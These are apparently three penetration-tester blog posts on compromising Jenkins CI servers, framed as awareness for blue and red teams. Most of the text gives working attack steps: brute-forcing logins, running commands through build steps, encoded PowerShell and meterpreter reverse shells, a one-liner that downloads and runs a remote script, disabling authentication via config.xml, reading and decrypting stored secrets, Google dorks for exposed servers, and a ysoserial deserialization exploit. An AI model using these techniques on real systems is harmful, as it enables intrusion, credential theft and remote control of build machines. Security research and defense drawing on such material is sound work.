Week of Continuous Intrusion Tools - Day 1 - Jenkins

Continuous Integration (CI) tools are used to frequently integrate commits by developers. Integration result in execution of builds and tests. CI tools are used by development, build management and source code management teams of many software/code development organizations. Read more about it here.

CI tools support distributed builds. That is, in a typical setup, a CI tool master server has the ability to execute commands on a good number of machines where a build slave or agent is running. A simplified typical industry setup for Continuous Integration looks like s:

I got interested in CI tools when during a penetration test, I got access to one of the client's Jenkins instance available on the internet. It was trivial to compromise it and the access it provided amazed me. I blogged about it here.

As I began to actively look for and compromise CI Servers, I realized that they are widely used, lack basic security controls, often poorly configured yet hold immense importance because of the information (code repositories, build logs, credentials etc.)  and machines (distributed builds) they have access to. If a hacker manages to get access to a CI tool, it provides access to, at least, the source code and command execution access to all the machines running slaves/agents.

Still, what I found is an absolute disregard for security of CI tools, both by its users and developers. Even for instances over the internet, as we will see later on, many leave them running with default or improper configuration.

To generate awareness about the security and attack surface of CI tools, I announce a Week of Continuous Intrusion beginning from 30th November, 2015. For the first three days we will discuss security issues in a CI tool (Jenkins and Hudson, TeamCity, Go and CruiseControl) and how its features and/or mis-configurations could be abused. On the fourth day, we will see a Common Abuse Set and how access to these tools could be used for Lateral movement and post exploitation. On the fifth day, we will discuss defense and other things.

All the code and other materials could be found here: https://github.com/samratashok/ContinuousIntrusion

Day 1 - Jenkins (and Hudson)

Day 2 - TeamCity (Click Here)

Day 3 - Go and CruiseControl (Click Here)

Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)

Day 5 - Defense and other discussion (Click Here)

I hope that this Week of Continuous Intrusion will help System Administrators and Blue Teams to understand the attack surface of CI tools and defend against attacks. I wish Penetration Testers and Red Teams will use this to break into networks thus increasing the security of their clients. I also intend to people doing more extensive research on security of these tools.

Lets begin with Day 1 - Jenkins.

Jenkins

Jenkins is the most widely used CI tool. You can download it from here. Hudson has not been tested separately as both are quite similar. Whatever we are going to do with Jenkins should be applicable to Hudson as well.

We can spot the following security issues in Jenkins:

• No authentication in the default installation.
• No protection against brute force attacks.
• No password complexity/policy for user passwords.
• Runs with SYSTEM or high privilege user on Windows (never seen it running with non-admin privileges).
• Prior to version 1.580, all users of  Jenkins and console output of builds could be seen without authentication. Still, most Jenkins instances are configured the same way (Read privilege to Anonymous).

Documentation about securing Jenkins is here. 

For public instances of Jenkins, so much information could be collected there may be no need to actually compromise it. The information in build outputs is scary! I have seen database credentials, Git credentials, SSH keys etc. More about this in the Google Dorks section below.

After configuring the recommended Matrix Based Security, to be able to play with the Operating System on which Jenkins is installed we must have access to a user who has privileges to Configure builds (a non-admin user). In most of the Jenkins instances, it is trivial to enumerate the users. Combine this with no protection against Brute Force attacks and no password policy and we can easily brute force credentials of users. 

User enumeration could be done by browsing to the following url (Anonymous with Read rights necessary): [JenkinsUrl]/asynchPeople/

We can brute force Jenkins using Burp suite's Intruder or any similar tool. Catch a login request in Burp (POST request to [JenkinsUrl]/j_acegi_security_check) and send it to Intruder. Remember to remove the json parameter from the request. Also, we must go to Options and tell Intruder to follow redirections.

In my experience, CI Tools user love to use their username as password. Therefore, first we will use the "pitchfork" attack type in Intruder to try to use username as password in the brute force requests. If that does not work, we will use the "Cluster Bomb" attack type. We will use usernames as payload 1 and a password list as payload 2. 

And this is how success looks like:

We can keep trying unless we find a user with Configure rights for a project.

Good. With the ability to Configure builds we can do much fun stuff!

Executing Commands

With the privileges to configure builds, we can add/edit "Build Steps" of a project. Build steps provide various options like Executing batch or shell commands (or even more depending on the installed plugins). Lets try it out!

Bingo! We have command execution with SYSTEM privileges on a Windows slave node. Note that this is a feature of Jenkins and not a vulnerability.

I advocate using PowerShell wherever we can to improve the existing techniques of penetration testing. In the current scenario, we can move to a reverse shell from this simple command execution by using PowerShell. There is no need to drop a binary or any other tool for that. Lets use Invoke-PowerShellTcpOneLine.ps1 from Nishang. The script contains two one-line shells, we just need to use one of them so remove the other line of code from the script. To execute it from memory, we must encode it using Invoke-Encode from Nishang with the -OutCommand parameter.

PS C:\nishang> . .\Utility\Invoke-Encode.ps1
PS C:\nishang> Invoke-Encode -DataToEncode .\Shells\Invoke-PowerShellTcpOneLine.ps1 -OutCommand

Now the generated encoded script from "encodedcommand.txt" file could be used with PowerShell's -encodedcommand parameter to execute the script without touching disk.

Great! An in-memory reverse shell with SYSTEM privileges! There is a reason why we use Powershell :)

For metasploit fans (like me), we can also get a reverse meterpreter by abusing this functionality. We must generate a payload using "./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[IPAddress] -f psh-cmd". The generate payload can then be used like this:

Awesome, isn't it?

Note that we executed the commands by utilizing ability to configure builds on a slave. Projects could be configured to use the executor on master as well. If we have the ability to configure builds on master, couple of more interesting attacks could be executed.

Removing Security

If we can configure builds on master, we can remove all the security for the Jenkins server. See this. We just need to remove/rename or edit config.xml from the $JENKINS_HOME/config directory and restart the Jenkins service. If editing, we just need to replace [useSecurity]true[/useSecurity] with [useSecurity]false[/useSecurity] in the config.xml (in case Realm and authorization . For Windows, we can use the below PowerShell commands to edit config.xml

powershell "(cat C:\test\config.xml) -replace('<usesecurity>true</useSecurity>','<usesecurity>false</useSecurity>') | Set-Content C:\test\config.xml

To know $JENKINS_HOME, see the build logs for any project on master.

Running it as a build step on master and a service restart will result in removal of all security from the web console and anyone browsing to the URL will have admin rights. During my tests, I was unable to restart Jenkins service using PowerShell's Restart-Service or sc.exe on Windows. It was only from a meterpreter session when the service could be restarted. On *nix, it may not be possible to resatrt Jenkins service without root.

Decrypt Credentials

It is possible to retrieve credentials stored by Jenkins in clear text. This include passwords, passphrases, SSH keys (including private keys) and more which are saved using the Manage Credentials section of an admin user. By abusing ability to configure build on master we can read and decrypt the credentials. A thorough blog post from where I stole the technique from is this: http://thiébaud.fr/jenkins_credentials.html

We need three pieces of information from Jenkins master:

1. credentials.xml from the $JENKINS_HOME directory which contains the encrypted passwords.
2.  hudson.util.secret from the $JENKINS_HOME\secrets directory which encrypts the passwords.
3. master.key from the $JENKINS_HOME\secrets directory which encrypts hudson.util.secret.

On a Windows master, below PowerShell commands could be used to read these files. Note that we are reading hudson.util.secret and master.key in bytes to preserve their format.

powershell -c "cat 'C:\Program Files (x86)\Jenkins\credentials.xml'"
powershell -c "cat -encoding byte 'C:\Program Files (x86)\Jenkins\secrets\master.key'"
powershell -c "cat -encoding byte -path 'C:\Program Files (x86)\Jenkins\secrets\hudson.util.Secret'"

The keys could be converted back to the raw format using TexttoExe from Nishang (or any other tool or script on *nix).

PS C:\nishang> . C:\nishang\Utility\TexttoExe.ps1
PS C:\nishang> TexttoEXE -FileName C:\test\hudson.util.txt -EXE C:\test\hudson.util.secret
PS C:\nishang> TexttoEXE -FileName C:\test\master.txt -EXE C:\test\master.key

Using decrypt.py from here (updated version of the one here) the passwords can be decrypted:

Bingo! And this is 2015. Lets all of us do a facedesk together.

Note that in case of SSH keys, above exercise is required to retrieve only the passphrase. SSH keys are stored in clear in the $JENKINS_HOME or in credentials.xml in clear text! Also, no salt is used to encrypt the passwords so it is possible to compare encrypted passwords from Jenkins with known encrypted text.

Google Dorks

Use the below Google dorks for public instances of Jenkins. More could be created depending on the use case:
Public instances: intitle:"Dashboard [Jenkins]"
Public instances with no authentication: intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins"

Just replace Jenkins with Hudson in above for Hudson instances.

The kind of sensitive data exposed by public instances of Jenkins is amazing! They leak much about the source code creation and management. While while looking at such instances one can find passwords for private source code repositories, links to under development products, employee data and more, what I found was more interesting than any of these.

In the screenshot below, someone left an interesting message on a public unauthenticated server of Jenkins.

Another one, highlighting the state of security of CI tools is below. This Jenkins instance runs as root without authentication:

Unserialization Vulnerability

In case you missed it, Jenkins (and many more tools) were affected by the Unserialization bug in commons-collection Java library. Read more about it here.

This vulnerability could be exploited to get remote command execution on a Jenkins instance. All we need is:

1. Get the ysoserial (cool name!) from here: https://github.com/frohoff/ysoserial 

2. Create a reverse shell using ysoserial:

java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'powershell.exe -e <encoded_reverse_shell>' > payload.out

3. Get the Jenkins exploit from here: https://github.com/foxglovesec/JavaUnserializeExploits
4. Use it against a Jenkins instance (in your lab):

python jenkins_exploit.py 192.168.230.125 8080 payload.out

5. Do the victory dance.

This is how success looks like:

Instances exposed on the internet may be safe because the exploit connects on a higher port which is random (Port 49189 in the above screenshot). If an environment allows connections to such ports from the Internet they probably have bigger problems to solve.

Jenkins released a fix on 11th November, 2015 which could be found here.

Video Demonstration

I made a quick video to demonstrate attacks discussed in this post.

Slides of my talk at BlackHat Europe and DeepSec

I gave a talk at BlackHat Europe and DeepSec on Continuous Intrusion: Why CI tools are an attacker's best friends. Slides are here:
http://www.slideshare.net/nikhil_mittal/continuous-intrusion-why-ci-tools-are-an-attackers-best-friends

Hope you enjoyed the post! Feedback and comments are welcome :)

To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html

HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/

Script Execution and Privilege Escalation on Jenkins Server

Disclaimer: We would use only existing features of Jenkins, no 'exploits' here.

During a recent penetration test I came across a Jenkins server. Having written a blog post on it, I was really excited and jumped straight to the /script url for the Groovy script console. But, it redirected me to a login page. Bummer!

Anyway, I registered as a user (yes it was allowed), and then tried to go the script console, but (all screenshots from my test machine)

After that, I put the initial excitement aside and started to explore whatever was available and read Jenkins documentation. Some interesting links are given below. All of these are publicly/anonymously accessible in Jenkins Standard Security Setup detailed here:

List of users:
http://[jenkinsurl]/asynchPeople/
List of all builds:
http://[jenkinsurl]/view/All/builds
(Seems to be fixed in the latest version 1.575)
List publilcy available content:
http://[jenkinsurl]/userContent/
Type of the Operating System:
http://[jenkinsurl]/computer/

It turned out that in Standard Security Setup, a registered user and anonymous user have same privileges unless otherwise configured.

During the pen test, I found links to couple of repositories in build details (console outputs) which were a treasure trove. but nothing on the Jenkins server itself. It be noted here that I was unable to see the build details on my test machine which is the latest version.

Anyway, the list of available users got my attention. From my experience working in the industry, I almost knew there would be some easy passwords as developers and build management guys are not really good at passwords :P 

 I quickly ran a brute force on all the listed users using Burp and 500 worst passwords list from Skullsecurity. I ran it on POST request to  /j_acegi_security_check. If you use Burp intruder, make sure it is configured to follow redirects.
No points for guessing, I got password for a user. Yay! Login and jump to the script console but

Few minutes later, I got password for two more users but none had access to the script console. Aaargghhh!

After further exploring Jenkins console, I saw that one of the users could configure build jobs (could not create new ones) and there are couple of very interesting things in the "AddBuild Step" option:

I added a small script, saved the configuration and built the task. Recall that we can get the OS type using http://[jenkinsurl]/computer/

But, damn it:

The script didn't execute. There had to be a way out! I called up my elder brother (he is on twitter, follow him!) who is a veteran in configuration and build management. He suggested me to see if there is any task running before the "Execute Shell" build step and is failing. There was one indeed.

He further suggested if I could re-order the build steps. Quick duck search returned a way, I just need to drag my Build Step to top, save and build. Aaand, finally!

Now, you can try getting a meterpreter session using built-in perl, python, ruby etc. And if it is a windows machine use powershell for various attacks as mentioned in my earlier post. Note that unlike script console we need not use Groovy script if we use the build step.

If you want to get admin access to Jenkins, read on. As per, Jenkins documentation here, you can disable security by setting the [useSecurity]true[/useSecurity] to false in config.xml in $JENKINS_HOME or by deleting the config,xml.

Lets check for $JENKINS_HOME, we use "ps -ef | grep jenkins" in the Shell Execute step.

Now lets see if we can delete config.xml

UPDATE: You must have sudo privileges to be able to restart Jenkins. My test machine had a bad configuration. But if Jenkins is running on a Windows machine, you can restart the service as it runs with SYSTEM privileges (or at least Admin privileges) on Windows. Note that, you may need to move to a reverse shell or meterpreter before you can restart Jenkins service on Windows.
Save, build and refresh. Bingo! Admin access for everyone!

UPDATE: Deleting config.xml is absolutely not required. You could always run a sed command to replace [useSecurity]true[/useSecurity] with [useSecurity]false[/useSecurity] for same results (service restart required).


Hope this would be useful. Please leave comments.

Hacking Jenkins Servers With No Password - Powershell fun

This post is stolen/copied/inspired from the post by Royce Davis. He posted the awesome original post here on Pentest Geek. I am just taking the hack forward using Nishang and powershell for doing nasty things.

After reading that post I quickly downloaded Jenkins and set it up in my lab. Royce used below code to execute commands on the Jenkins Server.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Lets see the version of powershell on the server by using def proc = 'powershell.exe $psversiontable'.execute() in the above code.

And the result is.

Version 2.0. So we can run powershell cmdlets and other commands. Perfect!

Now lets use powershell one-liner downloader to execute different scripts from Nishang on the Jenkins Server.

To execute the scripts we have to append cmd /c to the powershell command. So, for example, to execute Firebuster from Nishang the code becomes

def proc = 'cmd /c powershell.exe -c IEX ((New-Object Net.WebClient).DownloadString(\'http://192.168.254.1/FireBuster.ps1\'));FireBuster 192.168.254.1 4444-4446'.execute()

We can also use encoded scripts. Using Invoke-Encode in Nishang, lets encode Get-Information and execute it.

And the output

What's an exploitation without a meterpreter? So lets use the powershell meterpreter payload generated using msf.

And we have a meterpreter session !

So, the conclusion is, whenever and wherever you are able to execute commands on a Windows machine, try to execute powershell commands and you would be happily surprised.

Nishang could be found here:  https://github.com/samratashok/nishang

Enjoy!